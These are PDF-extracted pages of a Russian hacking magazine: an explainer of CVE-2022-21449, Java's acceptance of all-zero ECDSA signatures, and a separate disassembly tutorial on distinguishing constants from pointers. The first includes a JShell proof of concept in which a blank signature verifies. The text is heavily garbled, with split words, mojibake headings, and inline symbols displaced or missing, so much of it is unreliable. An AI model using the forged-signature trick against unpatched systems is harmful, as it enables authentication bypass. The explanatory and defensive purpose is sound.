WebAuthn/FIDO (вклю чая Yubikeys) исполь зуют под писи ECDSA, а мно гие пос- 
тавщи ки OIDC — токены JWT, под писан ные тем же методом.

Oracle прис воила это му CVSS оцен ку 7,5 бал ла, пос читав, что уяз вимость
не ока зыва ет серь езно го вли яния на кон фиден циаль ность или дос тупность
дан ных, одна ко иссле дова тели из ForgeRock оце нили проб лему в 
из-за широко го спек тра воз дей ствий на раз личные фун кции в кон тек сте
управле ния дос тупом. Как же все-таки работа ет уяз вимость CVE-2022-21449?
Что бы разоб рать ся, необ ходимо нем ного углу бить ся в теорию.

10 бал лов

ÏÎÄÏÈÑÈ ECDSA

ECDSA рас шифро выва ется как алго ритм циф ровой под писи на эллипти чес- 
ких кри вых (Elliptic Curve Digital Signature Algorithm) и широко исполь зует ся
в качес тве стан дарта для под писи всех видов циф ровых докумен тов. По срав- 
нению со ста рым стан дартом RSA клю чи и под писи на осно ве эллипти чес кой
крип тогра фии име ют нам ного мень шие раз меры в бай тах, но при этом обес- 
печива ют экви вален тную безопас ность, в резуль тате чего они при меня ются
в тех слу чаях, ког да раз мер име ет боль шое зна чение. Нап ример, стан дарт
WebAuthn для двух фактор ной аутен тифика ции поз воля ет про изво дите лям
устрой ств выбирать из широко го спек тра алго рит мов соз дания под писи,
но на прак тике поч ти все про изве ден ные на сегод няшний день устрой ства
под держи вают толь ко ECDSA (замет ным исклю чени ем явля ется раз ве что
Windows Hello, которая исполь зует RSA, пред положи тель но для сов мести мос- 
ти со ста рым обо рудо вани ем TPM).

Не вда ваясь в тех ничес кие детали, мож но ска зать, что под пись ECDSA
сос тоит из двух зна чений, называ емых  и . Что бы про верить такую под пись,

верифи катор реша ет урав нение, вклю чающее зна чения , , откры тый ключ
под писав шего и хеш сооб щения. Если две час ти урав нения рав ны, под пись
счи тает ся дей стви тель ной, в про тив ном слу чае она откло няет ся.

r s
r s

Од на часть урав нения дол жна быть рав на , а дру гая часть умно жает ся

на  и зна чение, получен ное из . Оче вид но, было бы очень пло хо, если бы 
и  ока зались рав ны 0, потому что тог да мы про веря ли бы равенс тво 0 = 0 ⨉
[куча вещей], которое будет истинным незави симо от зна чения «кучи вещей».
При том что эта самая «куча вещей» — важ ные дан ные, такие как сооб щение
и откры тый ключ. Вот почему самая пер вая про вер ка в алго рит ме ECDSA
выпол няет ся с целью удос товерить ся, что зна чения  и  >= 1.

r
r s r
s

r s
До гадай ся, какую про вер ку забыли в Java? Бин го: валида тор под писи

ECDSA в Java не про верял, рав ны ли  или  нулю, поэто му ты при желании

можешь соз дать под пись с нулевы ми зна чени ями этих парамет ров. Тог да
Java при мет такую под пись для любого сооб щения или пуб лично го клю ча
как дей стви тель ную.

r s

Вот инте рак тивный сеанс JShell, показы вающий реали зацию этой уяз- 
вимос ти, — здесь исполь зует ся абсо лют но пус тая под пись, которая при- 
нима ется в качес тве дей стви тель ной:

|  Welcome to JShell -- Version 17.0.1 
|  For an introduction type: /help intro 
jshell> import java.security.*
jshell> var keys = KeyPairGenerator.getInstance("EC").generateKeyPair
()
keys ==> java.security.KeyPair@626b2d4a 
jshell> var blankSignature = new byte[64] 
blankSignature ==> byte[64] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 
0, ... , 0, 0, 0, 0, 0, 0, 0, 0 }
jshell> var sig = Signature.getInstance(
"SHA256WithECDSAInP1363Format")
sig ==> Signature object: SHA256WithECDSAInP1363Format<not 
initialized> 
jshell> sig.initVerify(keys.getPublic())
jshell> sig.update("Hello, World".getBytes())
jshell> sig.verify(blankSignature)

  $8 ==> true
// Oops, that shouldn't have verified...

Ква лифи катор  упро щает демонс тра цию ошиб ки. Под писи

в фор мате ASN.1 DER могут исполь зовать ся таким же обра зом: прос то сна- 
чала нуж но нем ного повозить ся с кодиров кой. Но обра ти вни мание, что JWT
и дру гие стан дарты при меня ют необ работан ный фор мат IEEE P1363.

InP1363Format

ÍÅÌÍÎÃÎ ÒÅÕÍÈ×ÅÑÊÈÕ ÄÅÒÀËÅÉ

Ес ли не поленить ся и почитать в Википе дии под робнос ти о прин ципах работы
ECDSA, мож но обна ружить, что пра вая часть урав нения умно жает ся не на ,

а ско рее на его обратный муль тип ликатор: s . Если ты нем ного раз бира ешь- 
ся в матема тике, ты можешь задать ся воп росом: раз ве вычис ление это го
обратно го резуль тата не при ведет к делению на ноль? Но в крип тогра фии
на осно ве эллипти чес ких кри вых эта обратная величи на вычис ляет ся
по модулю боль шого чис ла, , а для кри вых, обыч но исполь зуемых в ECDSA, 

явля ется прос тым чис лом, поэто му мы можем исполь зовать малую теоре му
Фер ма для вычис ления обратно го модуль ного зна чения:

s
-1

n n

«

»

x  = x  = x(mod n)
n 1

x  = x = 1(mod n)
(n – 1) 0 

x  = x (mod n)
(n – 2)  –1

Это очень эффектив ный метод, и имен но его исполь зует Java. Одна ко
это спра вед ливо толь ко в том слу чае, ког да  не равен нулю, пос коль ку у нуля

нет муль тип ликатив ной инверсии. Ког да  равен нулю, 0  = 0: мусор

на вхо де, мусор на выходе.

x

x (n – 2)

Тот факт, что вычис ления выпол няют ся по модулю , так же при чина удос- 

товерить ся, что зна чения  и  <  . Поэто му, если  и  =  при 

, мы получим тот же эффект, как если бы  и  были рав ны нулю.

n
r s n r s n n = 0 (mod 

n) r s
Еще одна про вер ка, которая мог ла бы спас ти Java, — это про вер ка того,

что точ ка, вычис ленная из  и , не явля ется «бес конеч но уда лен ной точ кой».

Если  и  рав ны нулю, то резуль тиру ющая точ ка фак тичес ки будет точ кой

в бес конеч ности. Но, как ты уже, навер ное, догадал ся, Java не выпол няет
и эту про вер ку.

r s
r s

ÏÎ×ÅÌÓ ÓßÇÂÈÌÎÑÒÜ ÎÁÍÀÐÓÆÈËÈ ÒÎËÜÊÎ ÑÅÉ×ÀÑ?

Ши роко извес тно, что Java уже дав но под держи вает ECDSA. Всег да ли
реали зация это го алго рит ма была уяз вимой и почему о проб леме ста ло
извес тно толь ко сей час?

Ис сле дова тели из ForgeRock счи тают, что это отно ситель но недав няя
ошиб ка, выз ванная перепи сыва нием кода EC с натив ного C++ на Java, что
про изош ло в вер сии Java 15. Хотя, по мне нию спе циалис тов, эта передел ка
дает пре иму щес тва с точ ки зре ния безопас ности памяти, похоже, в ее реали- 
зации не учас тво вали экспер ты в области крип тогра фии. Исходная вер сия
на C++ не содер жит этих оши бок, но перепи сан ная реали зация уже име ет
уяз вимость. Ни одна из отпра вив шихся в релиз вер сий Java, по-видимо му,
не была пол ностью пок рыта тес тами, ведь даже самое бег лое проч тение спе- 
цифи кации ECDSA пред полага ет как минимум про вер ку на пред мет откло- 
нения недопус тимых зна чений  и . В общем, обна ружив шие уяз вимость

иссле дова тели не уве рены, что в этом коде не скры вают ся и дру гие кри тичес- 
кие ошиб ки.

r s

×ÒÎ ÒÅÏÅÐÜ ÄÅËÀÒÜ?

Ес ли ты исполь зуешь Java 15 или более поз днюю вер сию, незамед литель но
обно ви ее или уста нови .кри тичес кий патч безопас ности от Oracle

Крип тогра фичес кий код очень слож но реали зовать пра виль но, а алго рит-
мы под писи с откры тым клю чом —сре ди самых слож ных. ECDSA сам по себе
весь ма ненадеж ный алго ритм, где 

.

да же неболь шая пог решность в одном
слу чай ном зна чении может поз волить пол ностью вос ста новить твой зак рытый
ключ

С дру гой сто роны, теперь сущес тву ют отличные ресур сы, такие как 
, которые пре дос тавля ют тес товые при меры для извес тных уяз- 

вимос тей. Пос ле того как экспер ты ForgeRock обна ружи ли эту ошиб ку, они
обно вили локаль ную копию Wycheproof для работы с Java 17 — и она сра зу же
обна ружи ла проб лему. Хочет ся верить, что коман да JDK сама нач нет исполь- 
зовать набор тес тов Wycheproof, что бы в будущем подоб ные ошиб ки
не попада ли в паб лик.

Project
Wycheproof

mailto:valentin@holmogorov.ru
https://www.forgerock.com/
https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/
https://openjdk.java.net/groups/vulnerability/advisories/2022-04-19
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
https://www.oracle.com/security-alerts/cpuapr2022.html
https://eprint.iacr.org/2020/615
https://github.com/google/wycheproof
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ВЗЛОМ

Ког да мы занима емся ана лизом лома емой прог раммы,
пыта ясь вос ста новить алго ритм ее работы, нам нуж но опре- 
делить типы опе ран дов ассем блер ных инс трук ций. Для это го
есть нес коль ко прос тых пра вил. Меж ду тем сре ди опе ран дов
при сутс тву ют кон стан ты и сме щения, которые внеш не очень
похожи, но в то же вре мя силь но раз лича ются по спо собам
и целям вза имо дей ствия. Поэто му важ но отде лить одно
от дру гого, так как такие «игры» — один из глав ных инс тру- 
мен тов раз работ чиков защит.

Фундаментальные основы хакерства
Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

ÈÄÅÍÒÈÔÈÊÀÖÈß ÊÎÍÑÒÀÍÒ È ÑÌÅÙÅÍÈÉ

Мик ропро цес соры серии 80x86 под держи вают опе ран ды трех типов: регистр,
непос редс твен ное зна чение, непос редс твен ный ука затель. Тип опе ран да
явно зада ется в спе циаль ном поле машин ной инс трук ции, име нуемом ,

поэто му никаких проб лем в иден тифика ции типов опе ран дов не воз ника ет.
Регистр — ну, все мы зна ем, как выг лядят регис тры; ука затель по общепри- 
нято му сог лашению зак люча ется в квад ратные скоб ки, а непос редс твен ное
зна чение записы вает ся без них. Нап ример:

mod

  MOV ECX, EAX;               ← регистровые операнды
  MOV ECX, 0x666;             ← левый операнд регистровый, правый — 

непосредственный
  MOV [0x401020], EAX;        ← левый операнд — указатель, правый — 

регистр

Кро ме это го, мик ропро цес соры серии 80x86 под держи вают два вида адре- 
сации памяти:  и . Тип адре сации опре деля ется
типом ука зате ля. Если опе ранд — непос редс твен ный ука затель, то и адре- 
сация непос редс твен на. Если же опе ранд-ука затель — регистр, то такая
адре сация называ ется кос венной. Нап ример:

не пос редс твен ную кос венную

     MOV ECX,[0x401020] ← непосредственная адресация
    MOV ECX, [EAX]      ← косвенная адресация

Для ини циали зации регис тро вого ука зате ля раз работ чики мик ропро цес сора
вве ли спе циаль ную коман ду, вычис ляющую зна чение адресно го выраже ния

 и прис ваивающую его регис тру , — . Нап ример:addr REG LEA REG, [addr]

   LEA EAX, [0x401020] ; Регистру EAX присваивается значение указателя 
0x401020

  MOV ECX, [EAX]      ; Косвенная адресация — загрузка в ECX двойного 
слова,
                   ; расположенного по смещению 0x401020

Пра вый опе ранд коман ды  всег да пред став ляет собой ближ ний (near) ука- 

затель (исклю чение сос тавля ют слу чаи исполь зования  для сло жения кон- 
стант — под робнее об этом см. в одно имен ном пун кте). И все было бы
хорошо... да вот, ока зыва ется, внут реннее пред став ление ближ него ука зате- 
ля экви вален тно кон стан те того же зна чения. Отсю да 

рав носиль но . В силу опре делен ных при чин  зна- 
читель но обог нал в популяр ности , прак тичес ки вытес нив пос леднюю инс- 

трук цию из упот ребле ния.

LEA
LEA

LEA EAX, [0x401020]
MOV EAX, 0x401020 MOV

LEA

От каз от  породил фун дамен таль ную проб лему ассем бли рова ния —
проб лему OFFSET’a. В общих чер тах ее суть зак люча ется в син такси чес кой
нераз личимос ти кон стант и сме щений (ближ них ука зате лей). Конс трук ция 

 может гру зить в  и кон стан ту, рав ную  (при мер
соот ветс тву юще го C-кода: ), и ука затель на ячей ку памяти, рас- 

положен ную по сме щению  (при мер соот ветс тву юще го C-кода:

). Сог ласись,  сов сем не одно и то же, что ! А теперь
пред ставь, что про изой дет, если в пов торно ассем бли рован ной прог рамме
перемен ная  ока жет ся рас положе на по ино му сме щению, а не ?

Пра виль но — прог рамма рух нет, ибо ука затель  по-преж нему ука зыва ет
на ячей ку памяти , но здесь теперь «про жива ет» сов сем дру гая

перемен ная!

LEA

MOV
EAX, 0x401020 EAX 0x401020

a=0x401020
0x401020

a=&x a=0x401020 a=&x

х 0x401020
a

0x401020

По чему перемен ная может изме нить свое сме щение? Основных при чин
тому две. Во-пер вых, язык ассем бле ра неод нозна чен и допус кает дво якую
интер пре тацию. Нап ример, конс трук ции  соот ветс тву ют две

машин ные инс трук ции:  и  дли ной три и пять байт

соот ветс твен но. Тран сля тор может выб рать любую из них, и не факт, что ту же
самую, которая была в исходной прог рамме (до дизас сем бли рова ния).
Невер но «уга дан ный» раз мер вызовет сме щение всех осталь ных инс трук ций,
а вмес те с ними и дан ных. Во-вто рых, сме щение не замед лит выз вать
модифи кацию прог раммы (разуме ется, речь идет не о замене  на , а о

нас тоящей адап тации или модер низации), и все ука зате ли тут же «посып- 
лются».

ADD EAX, 0x66
83 C0 66 05 66 00 00 00

JZ JNZ

Вер нуть работос пособ ность прог раммы помога ет дирек тива . Если

 дей стви тель но заг ружа ет в  ука затель, а не кон стан- 

ту, по сме щению  сле дует соз дать мет ку, име нуемую, ска жем,
. Так же нуж но  заменить на 

. Теперь ука затель  свя зан не с фик сирован ным сме щени ем,

а с мет кой!

offset
MOV EAX, 0x401020 EAX

0x401020
loc_401020 MOV EAX, 0x401020 MOV EAX, offset
loc_401020 EAX

А что про изой дет, если пред варить дирек тивой  кон стан ту, оши боч- 
но при няв ее за ука затель? Прог рамма отка жет или ста нет работать некор- 
рек тно. Допус тим, чис ло  выража ло собой объ ем бас сей на,

в который вода вте кает через одну тру бу, а вытека ет через дру гую. Если
заменить кон стан ту ука зате лем, то объ ем бас сей на ста нет равен... сме- 
щению мет ки в заново ассем бли рован ной прог рамме и все рас четы полетят
к чер ту.

offset

0x401020

Та ким обра зом, очень важ но опре делить типы всех непос редс твен ных
опе ран дов, и еще важ нее опре делить их пра виль но. Одна ошиб ка может сто- 
ить прог рамме жиз ни (в смыс ле работос пособ ности), а в типич ной прог- 
рамме тысячи и десят ки тысяч опе ран дов!

От сюда воз ника ет два воп роса:
Как вооб ще опре деля ют типы опе ран дов?•
Мож но ли их опре делять авто мати чес ки (или на худой конец хотя бы полу- 
авто мати чес ки)?

•

Ти пы опе ран дов

Îïðåäåëåíèå òèïà íåïîñðåäñòâåííîãî îïåðàíäà

Не пос редс твен ный опе ранд коман ды  всег да ука затель (исклю чение сос- 

тавля ют ассем блер ные «извра щения»: что бы сбить хакеров с тол ку, в некото- 
рых защитах  исполь зуют ся для заг рузки кон стан ты).

LEA

LEA
Не пос редс твен ные опе ран ды команд  и  могут быть как кон стан- 

тами, так и ука зате лями. Что бы опре делить тип непос редс твен ного опе ран да,
необ ходимо про ана лизи ровать, как исполь зует ся его зна чение в прог рамме.
Для кос венной адре сации памяти — это ука затель, в про тив ном слу чае —
кон стан та.

MOV PUSH

Нап ример, мы встре тили в тек сте прог раммы коман ду 
. Что это такое: кон стан та или ука затель?

MOV EAX, 
0x401020

Ти пы адре саций

От вет на воп рос дает стро ка , под ска зыва ющая, что зна- 

чение  исполь зует ся для кос венной адре сации памяти. Сле дова- 

тель но, непос редс твен ный опе ранд не что иное, как ука затель.

MOV ECX, [EAX]
0x401020

Су щес тву ет два типа ука зате лей — ука зате ли на дан ные и ука зате ли
на фун кцию. Ука зате ли на дан ные исполь зуют ся для извле чения зна чения
ячей ки памяти и встре чают ся в ариф метичес ких коман дах и коман дах
пересыл ки (нап ример, , , ). Ука зате ли на фун кцию исполь зуют ся
в коман дах кос венно го вызова и реже в коман дах кос венно го перехо да —

 и  соот ветс твен но.

MOV ADD SUB

CALL JMP
Сле дующий при мер ( ) откомпи лируй с помощью

C++Builder. В нем мы изу чим раз ницу меж ду кон стан тами и ука зате лями:
const_pointers_cb

    int _tmain(int argc, _TCHAR* argv[])
{
       static int a = 0x777;
      int* b = &a;
      int c = b[0];
}

Ре зуль тат ком пиляции дол жен выг лядеть приб лизитель но так:

 main            proc near
   var_1C          = dword ptr -1Ch
   var_18          = qword ptr -18h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Открытие кадра стека
                   push rbp

; Выделение 0x20 байт для локальных переменных
                     sub rsp, 20h

; Кадр стека указывает на дно стека
                     lea rbp, [rsp+20h]

Наз вание сме щения  говорит о том, что зна чение по адре су
 име ет неоп ределен ный тип.

unk_451110
451110

Пе рей дем по нему и пос мотрим, что там находит ся.

Так как чис ло  не уме щает ся в одном бай те, ком пилятор раз местил его

в двух бай тах. Сле дова тель но, в  помеща ется ссыл ка на это чис ло.

0x777
RAX

      lea rax, unk_451110

Хо тя IDA пред ста вила дан ные прог раммы так, как их при гото вил ком пилятор,
мы уже самос тоятель но опре дели ли, что по сме щению  находит ся
чис ло, занима ющее боль ше одно го бай та. Поэто му мы можем помочь IDA
пра виль но отоб разить дан ные. Для это го, перей дя по сме щению, надо
нажать кла вишу с англий ской o, что соот ветс тву ет коман де: Edit → Operand
Type → Offset → Offset (data segment). В резуль тате сме щение будет пере име- 
нова но, а зна чение, на которое оно ука зыва ет, при мет бла город ный вид:

. Кро ме того, коман да пре обра зова ния неоп ределен ных бай тов в дан- 
ные с  (один байт) изме нит ся на  (восемь байт).

unk_451110

777h
db dq

Ини циали зация локаль ных перемен ных:

      mov [rbp+var_4], 0
      mov [rbp+var_8], ecx
      mov [rbp+var_10], rdx

В  рас положе на ссыл ка на зна чение, она копиру ется в перемен ную

. Пос коль ку зна чение по ссыл ке  находит ся в сег менте

дан ных, мож но сде лать вывод, что  — ста тичес кая перемен ная.

RAX
var_18 unk_451110

var_18

      mov [rbp+var_18], rax

Ко пиру ем ссыл ку на перемен ную в памяти и таким обра зом получа ем воз- 
можность изме нить ссыл ку, но не зна чение.

      mov rax, [rbp+var_18]

Заг ружа ем содер жимое локаль ной перемен ной  в регистр . Отсю- 

да мож но сде лать вывод, что в  все-таки ука затель. Тог да локаль ная

перемен ная  тоже ука затель!

var_18 ECX
RAX

var_18

      mov ecx, [rax]

Прис ваиваем локаль ной перемен ной  зна чение, содер жаще еся в .
А там хра нит ся ука затель на .

var_1C ECX
0x777

                     mov [rbp+var_1C], ecx
                     mov [rbp+var_4], 0

; Функция возвращает ноль
                     mov eax, [rbp+var_4]

; Очищаем стек
                     add rsp, 20h

; Закрываем кадр стека
                    pop rbp

               retn
main            endp

Черт ногу сло мит с эти ми ука зате лями! Теперь рас смот рим при мер
 с кос венным вызовом фун кции (так же ском пилиро ван ный

с помощью C++Builder):

func_pointers_cb

    int func(int a, int b)
{
      return a + b;
}

    int _tmain(int argc, _TCHAR* argv[])
{
          int (*zzz) (int a, int b) = func;
   // Вызов функции происходит косвенно — по указателю zzz
    zzz(0x666, 0x777);
    return 0;
}

Ре зуль тат ком пиляции дол жен выг лядеть приб лизитель но так:

 main            proc near
   var_1C          = dword ptr -1Ch
   var_18          = qword ptr -18h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Открываем кадр стека
                   push rbp

; Выделяем 0x40 под локальные переменные
                     sub rsp, 40h

; Указатель кадра стека
                     lea rbp, [rsp+40h]

; В EAX заносим значение 0x666, пока непонятно для чего, но явно не 
для передачи

                     mov eax, 666h
; В R8D заносим значение 0x777

                     mov r8d, 777h
; Смотри! В R9 заносим указатель на функцию

                     lea r9, func(int,int)
; Инициализируем локальные переменные

                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx

; В var_18 помещаем указатель на функцию func
                     mov [rbp+var_18], r9

; Теперь ECX равна 0x666
                     mov ecx, eax

; а EDX — 0x777, регистры загружены и готовы для передачи параметров
                     mov edx, r8d

; Погляди-ка! Косвенный вызов функции!
                   call [rbp+var_18]

                     mov [rbp+var_4], 0
                     mov [rbp+var_1C], eax
                     mov eax, [rbp+var_4]

; Очищаем стек
                     add rsp, 40h

; Восстанавливаем регистр
                    pop rbp

               retn
main            endp

А вот и кос венно вызыва емая фун кция . Иссле дуем ее, что бы опре делить
тип переда ваемых ей непос редс твен ных зна чений.

func

    func(int, int) proc near
   var_C           = dword ptr -0Ch
   var_8           = dword ptr -8
   var_4           = dword ptr -4

IDA не опре дели ла аргу мен ты, но мы-то зна ем, что они есть! Сей час, ког да
парамет ры всег да переда ются через регис тры, раз личие меж ду аргу мен тами
и локаль ными перемен ными — чис тая фор маль ность.

; Открываем кадр стека
                   push rbp

; Выделяем память для содержимого стека
                     sub rsp, 10h

; Кадр стека указывает на дно стека
                     lea rbp, [rsp+10h]

Прис ваиваем зна чение перемен ной , учи тывая, что в регис тре 
переда ется параметр,  — аргу мент:

var_4 ECX
var_4

      mov [rbp+var_4], ecx

Прис ваиваем зна чение перемен ной , учи тывая, что в регис тре 

переда ется параметр,  — аргу мент:

var_8 EDX
var_8

                     mov [rbp+var_8], edx

; В ECX размещаем первое слагаемое
                     mov ecx, [rbp+var_4]

; Выполняем сложение с переменной, записывая сумму на место первого 
слагаемого

                     add ecx, [rbp+var_8]
; Значение суммы копируем в переменную var_C

                     mov [rbp+var_C], ecx
; В качестве результата возвращаем сумму

                     mov eax, [rbp+var_C]
; Удаляем содержимое стека

                     add rsp, 10h
; Закрываем кадр стека

                    pop rbp
               retn

   func(int, int) endp

Ñëîæíûå ñëó÷àè àäðåñàöèè èëè ìàòåìàòè÷åñêèå îïåðàöèè ñ
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C/C++ и некото рые дру гие язы ки прог рамми рова ния допус кают выпол нение
над ука зате лями раз личных ариф метичес ких опе раций, чем серь езно зат- 
рудня ют иден тифика цию типов непос редс твен ных опе ран дов. В самом деле,
если бы такие опе рации с ука зате лями были зап рещены, то любая матема- 
тичес кая инс трук ция, манипу лиру ющая с непос редс твен ным опе ран дом,
однознач но ука зыва ла бы на его кон стантный тип.

К счастью, даже в тех язы ках, где это раз решено, над ука зате лями выпол- 
няет ся огра ничен ное чис ло матема тичес ких опе раций. Так, совер шенно бес- 
смыс ленно сло жение двух ука зате лей, а уж тем более умно жение
или деление их друг на дру га. Вычита ние — дело дру гое. Исполь зуя тот факт,
что ком пилятор рас полага ет фун кции в памяти сог ласно поряд ку их объ явле- 
ния в прог рамме, мож но вычис лить раз мер фун кции, отни мая ее ука затель
от ука зате ля на сле дующую фун кцию. Такой трюк встре чает ся в упа ков щиках
(рас паков щиках) исполня емых фай лов, защитах с самомо дифи циру ющим ся
кодом, но в прик ладных прог раммах исполь зует ся ред ко.

Ис поль зование вычита ния ука зате лей для вычис ления раз мера фун кции
(струк туры дан ных)

Продолжение статьи →
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ФУНДАМЕНТАЛЬНЫЕ

ОСНОВЫ ХАКЕРСТВА
КАК ИСКАТЬ ОПЕРАНДЫ ПРИ ВЗЛОМЕ

ПРОГРАММ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Ска зан ное выше отно силось к слу чаям «ука затель + ука затель». Меж ду тем
ука затель может сочетать ся и с кон стан той. При чем такое сочета ние нас толь- 
ко популяр но, что про цес соры серии 80x86 даже под держи вают для это го
спе циаль ную адре сацию — . Пусть, к при меру, име ется ука затель
на мас сив и индекс некото рого эле мен та мас сива. Оче вид но: что бы получить
зна чение это го эле мен та, необ ходимо сло жить ука затель с индексом, умно- 
жен ным на раз мер эле мен та.

áà çîâóþ

Вы чита ние кон стан ты из ука зате ля встре чает ся гораз до реже: это му соот- 
ветс тву ет мень ший круг задач, и сами прог раммис ты избе гают вычита ния,
пос коль ку оно неред ко при водит к серь езным проб лемам. Сре ди нович ков
популя рен сле дующий при ем: если им тре бует ся мас сив, начина ющий ся
с еди ницы, они, объ явив обыч ный мас сив, получа ют на него ука затель и...
умень шают его на еди ницу! Эле ган тно, не прав да ли?

Но подумай, что про изой дет, если ука затель на мас сив будет равен нулю.
Пра виль но, змея уку сит свой хвост — ука затель ста нет очень боль шим
положи тель ным чис лом. Вооб ще-то под Windows NT мас сив гаран тирован но
не может быть раз мещен по нулево му сме щению, но не сто ит при выкать
к трю кам, при вязан ным к одной плат форме и не работа ющим на дру гих.

«Нор маль ные» язы ки прог рамми рова ния зап реща ют сме шение типов,
и пра виль но дела ют. Сущес тву ет и еще одна фун дамен таль ная проб лема
дизас сем бли рова ния — 

. Рас смот рим сле дующий при мер:

îï ðåäåëå íèå òèïîâ â êîì áèíèðî âàí íûõ
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  MOV EAX, 0x...
  MOV EBX, 0x...
  ADD EAX, EBX
  MOV ECX, [EAX]

Сум ма двух непос редс твен ных зна чений здесь исполь зует ся для кос венной
адре сации. Ну, положим, оба они ука зате лями быть не могут, исхо дя из самых
общих сооб ражений. Навер няка одно из непос редс твен ных зна чений — ука- 
затель на мас сив (струк туру дан ных, объ ект), а дру гое — индекс в этом мас- 
сиве. Для сох ранения работос пособ ности прог раммы ука затель необ ходимо
заменить сме щени ем мет ки, а вот индекс при дет ся оста вить без изме нений
(ведь индекс — это кон стан та).

Как же раз личить, что есть что? Увы, нет уни вер саль ного отве та, а в кон- 
тек сте при веден ного выше при мера это и вов се невоз можно!

Рас смот рим сле дующий при мер, демонс три рующий опре деле ние типов
в ком биниро ван ных выраже ниях ( ):combined_exp_types

    void MyFunc(char* a, int i)
{
     a[i] = '\n';
       a[i + 1] = 0;
}

 int main()
{
       static char buff[] = "Hello,Sailor!";
    MyFunc(&buff[0], 5);
}

Ре зуль тат ком пиляции с помощью Microsoft Visual C++ дол жен выг лядеть так:

 main            proc near
; Выделение памяти для локальных переменных

                     sub rsp, 28h
; Определяем смещение — указатель на элемент в массиве

                     mov eax, 1
                    imul rax, 0

; В регистр RCX загружаем указатель на строку
                     lea rcx, buff       ; "Hello, Sailor!"
                     add rcx, rax

; Указатель на строку копируется в RAX
                     mov rax, rcx

; Подготовка параметров:
; в регистр EDX помещается число 5 — второй параметр

                     mov edx, 5          ; i
; указатель на строку вновь копируется в RCX — первый параметр

                     mov rcx, rax        ; a
; Параметры укомплектованы — вызываем функцию

                    call MyFunc(char *,int)
; Функция возвращает ноль

                     xor eax, eax
; Очистка стека

                     add rsp, 28h
               retn
main            endp

Мы можем с пол ной уве рен ностью ска зать, где какой параметр, толь ко
в наших искусс твен ных при мерах. При изу чении чужих прог раммок такой уве- 
рен ности, к сожале нию, не будет. Поэто му, рас смат ривая парамет ры в фун- 
кции ниже, мы, по идее, дол жны видеть их как два чис ловых аргу мен та.
И наша задача разоб рать ся, пред став ляют ли они кон стан ты или ука зате ли.

     void MyFunc(char *, int) proc near
; Два параметра — все верно

    arg_0           = qword ptr 8
    arg_8           = dword ptr 10h

; Перенос значений параметров из регистров в память
                      mov [rsp+arg_8], edx ; Число 5
                      mov [rsp+arg_0], rcx ; Указатель на строку

; Копирование двойного слова со знаком в четверное
                  movsxd rax, [rsp+arg_8]

; Копирование четверного слова в четверное
                     mov rcx, [rsp+arg_0]

Сум ма непос редс твен ных зна чений исполь зует ся для кос венной адре сации
памяти, зна чит, это кон стан та и ука затель. Но кто есть кто?

        mov byte ptr [rcx+rax], 0Ah

Для отве та на этот воп рос нам необ ходимо понять смысл кода прог раммы —
чего же добивал ся прог раммист сло жени ем ука зате лей? Пред положим, что
зна чение 5 — ука затель. Логич но? Да вот не очень-то логич но: если это ука- 
затель, то ука затель на что?

Пер вые 64 килобай та адресно го прос транс тва Windows NT заб локиро ваны
для «отлавли вания» нулевых и неини циали зиро ван ных ука зате лей. Ясно, что
рав ным пяти ука затель быть никак не может, раз ве что прог раммист исполь- 
зовал какой-нибудь очень извра щен ный трюк. А если ука затель 

(фак тичес кий адрес )? Выг лядит прав доподоб ным легаль ным сме щени- 
ем...

0x140003038
buff

Кста ти, что там у нас рас положе но? Секун дочку...

.data:0000000140003038 buff            db 'Hello, Sailor!',0 

Те перь все схо дит ся — фун кции передан ука затель на стро ку "Hello, Sailor!"
(зна чение ) и индекс сим вола этой стро ки (зна чение 5). Фун кция
сло жила ука затель со стро кой и записа ла в получен ную ячей ку сим вол "\n".

0x140003038

Сле дующая инс трук ция заносит зна чение аргу мен та  в регистр .

Как мы уста нови ли, это кон стан та:

arg_8 EAX

                     mov eax, [rsp+arg_8]

; Инкрементируем значение в EAX на 1
                    inc eax

; Преобразуем двойное слово (значение в EAX) в четверное слово (
значение в RAX)
               cdqe
; Помещаем в RCX значение аргумента arg_0
; Как мы выяснили, оно представляет собой указатель на строку

                     mov rcx, [rsp+arg_0]

Сум ма  и  исполь зует ся для кос венной адре сации памяти, точ нее кос- 
венно-базовой, так как к ука зате лю при бав ляет ся еще и еди ница. В эту ячей ку
памяти заносит ся ноль. Дру гими сло вами, мы про писы ваем ноль за сим- 
волом "\n".

RCX RAX

                       mov byte ptr [rcx+rax], 0
               retn

    void MyFunc(char *, int) endp

На ши пред положе ния под твер дились — фун кции переда ются ука затель
на стро ку и индекс пер вого «отсе каемо го» сим вола стро ки. А теперь ском- 
пилиру ем тот же самый при мер ком пилято ром Embarcadero C++Builder
и срав ним, чем он отли чает ся от Microsoft Visual C++:

; int __cdecl main(int argc, const char **argv, const char **envp)
                public main

 main            proc near               ; DATA XREF: __acrtused+29↑o
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Открытие кадра стека
                   push rbp

; Выделение 0х30 байт памяти для локальных переменных
                     sub rsp, 30h

; Копирование в RBP указателя на дно стека, ибо после вычитания 
получилась вершина,
; а после сложения — дно

                     lea rbp, [rsp+30h]
; В RAX — указатель на строку

                      lea rax, aHelloSailor ; "Hello, Sailor!"
; В R8D — значение 5

                     mov r8d, 5
; Инициализация локальных переменных...

                     mov [rbp+var_4], 0
; ...перебрасываем содержимое регистров в память

                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx

